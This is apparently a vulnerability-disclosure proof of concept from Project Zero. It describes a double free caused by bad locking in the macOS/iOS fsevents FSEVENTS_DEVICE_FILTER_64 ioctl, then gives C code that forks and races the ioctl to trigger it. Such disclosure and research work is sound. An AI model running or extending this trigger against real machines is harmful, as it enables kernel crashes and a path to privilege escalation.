1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1129 fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl: case FSEVENTS_DEVICE_FILTER_64: if (!proc_is64bit(vfs_context_proc(ctx))) { ret = EINVAL; break; } devfilt_args = (fsevent_dev_filter_args64 *)data; handle_dev_filter: { int new_num_devices; dev_t *devices_not_to_watch, *tmp=NULL; if (devfilt_args->num_devices > 256) { ret = EINVAL; break; } new_num_devices = devfilt_args->num_devices; if (new_num_devices == 0) { tmp = fseh->watcher->devices_not_to_watch; <------ (a) lock_watch_table();<------ (b) fseh->watcher->devices_not_to_watch = NULL; fseh->watcher->num_devices = new_num_devices; unlock_watch_table();<------ (c) if (tmp) { FREE(tmp, M_TEMP); <------ (d) } break; } There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a), assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this. This leads to a double free, which if you also race allocations from the same zone can lead to an exploitable kernel use after free. /dev/fsevents is: crw-r--r--1 rootwheel 13, 0 Feb 15 14:00 /dev/fsevents so this is a privesc from either root or members of the wheel group to kernel tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 (build with -O3) The open handler for the fsevents device node has a further access check: if (!kauth_cred_issuser(kauth_cred_get())) { return EPERM; } restricting this issue to root only despite the permissions on the device node (which is world-readable) */ // ianbeer #if 0 MacOS/iOS kernel double free due to bad locking in fsevents device fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl: case FSEVENTS_DEVICE_FILTER_64: if (!proc_is64bit(vfs_context_proc(ctx))) { ret = EINVAL; break; } devfilt_args = (fsevent_dev_filter_args64 *)data; handle_dev_filter: { int new_num_devices; dev_t *devices_not_to_watch, *tmp=NULL; if (devfilt_args->num_devices > 256) { ret = EINVAL; break; } new_num_devices = devfilt_args->num_devices; if (new_num_devices == 0) { tmp = fseh->watcher->devices_not_to_watch; <------ (a) lock_watch_table();<------ (b) fseh->watcher->devices_not_to_watch = NULL; fseh->watcher->num_devices = new_num_devices; unlock_watch_table();<------ (c) if (tmp) { FREE(tmp, M_TEMP); <------ (d) } break; } There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a), assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this. This leads to a double free, which if you also race allocations from the same zone can lead to an exploitable kernel use after free. /dev/fsevents is: crw-r--r--1 rootwheel 13, 0 Feb 15 14:00 /dev/fsevents so this is a privesc from either root or members of the wheel group to kernel tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 (build with -O3) #endif #include <fcntl.h> #include <stdlib.h> #include <stdio.h> #include <sys/ioctl.h> #include <sys/types.h> #include <pthread.h> #include <unistd.h> typedef uint64_t user64_addr_t; typedef struct fsevent_clone_args64 { user64_addr_tevent_list; int32_tnum_events; int32_tevent_queue_depth; user64_addr_tfd; } fsevent_clone_args64; #define FSEVENTS_CLONE_64 _IOW('s', 1, fsevent_clone_args64) #pragma pack(push, 4) typedef struct fsevent_dev_filter_args64 { uint32_t num_devices; user64_addr_tdevices; } fsevent_dev_filter_args64; #pragma pack(pop) #define FSEVENTS_DEVICE_FILTER_64 _IOW('s', 100, fsevent_dev_filter_args64) void* racer(void* thread_arg){ int fd = *(int*)thread_arg; printf("started thread\n"); fsevent_dev_filter_args64 arg = {0}; int32_t dev = 0; while (1) { arg.num_devices = 1; arg.devices = (user64_addr_t)&dev; int err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg); if (err == -1) { perror("error in FSEVENTS_DEVICE_FILTER_64\n"); exit(EXIT_FAILURE); } arg.num_devices = 0; arg.devices = (user64_addr_t)&dev; err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg); if (err == -1) { perror("error in FSEVENTS_DEVICE_FILTER_64\n"); exit(EXIT_FAILURE); } } return NULL; } int main(){ int fd = open("/dev/fsevents", O_RDONLY); if (fd == -1) { perror("can't open fsevents device, are you root?"); exit(EXIT_FAILURE); } // have to FSEVENTS_CLONE this to get the real fd fsevent_clone_args64 arg = {0}; int event_fd = 0; int8_t event = 0; arg.event_list = (user64_addr_t)&event; arg.num_events = 1; arg.event_queue_depth = 1; arg.fd = (user64_addr_t)&event_fd; int err = ioctl(fd, FSEVENTS_CLONE_64, &arg); if (err == -1) { perror("error in FSEVENTS_CLONE_64\n"); exit(EXIT_FAILURE); } if (event_fd != 0) { printf("looks like we got a new fd %d\n", event_fd); } else { printf("no new fd\n"); } pid_t pid = fork(); if (pid == 0) { racer(&event_fd); } else { racer(&event_fd); } return 1; } |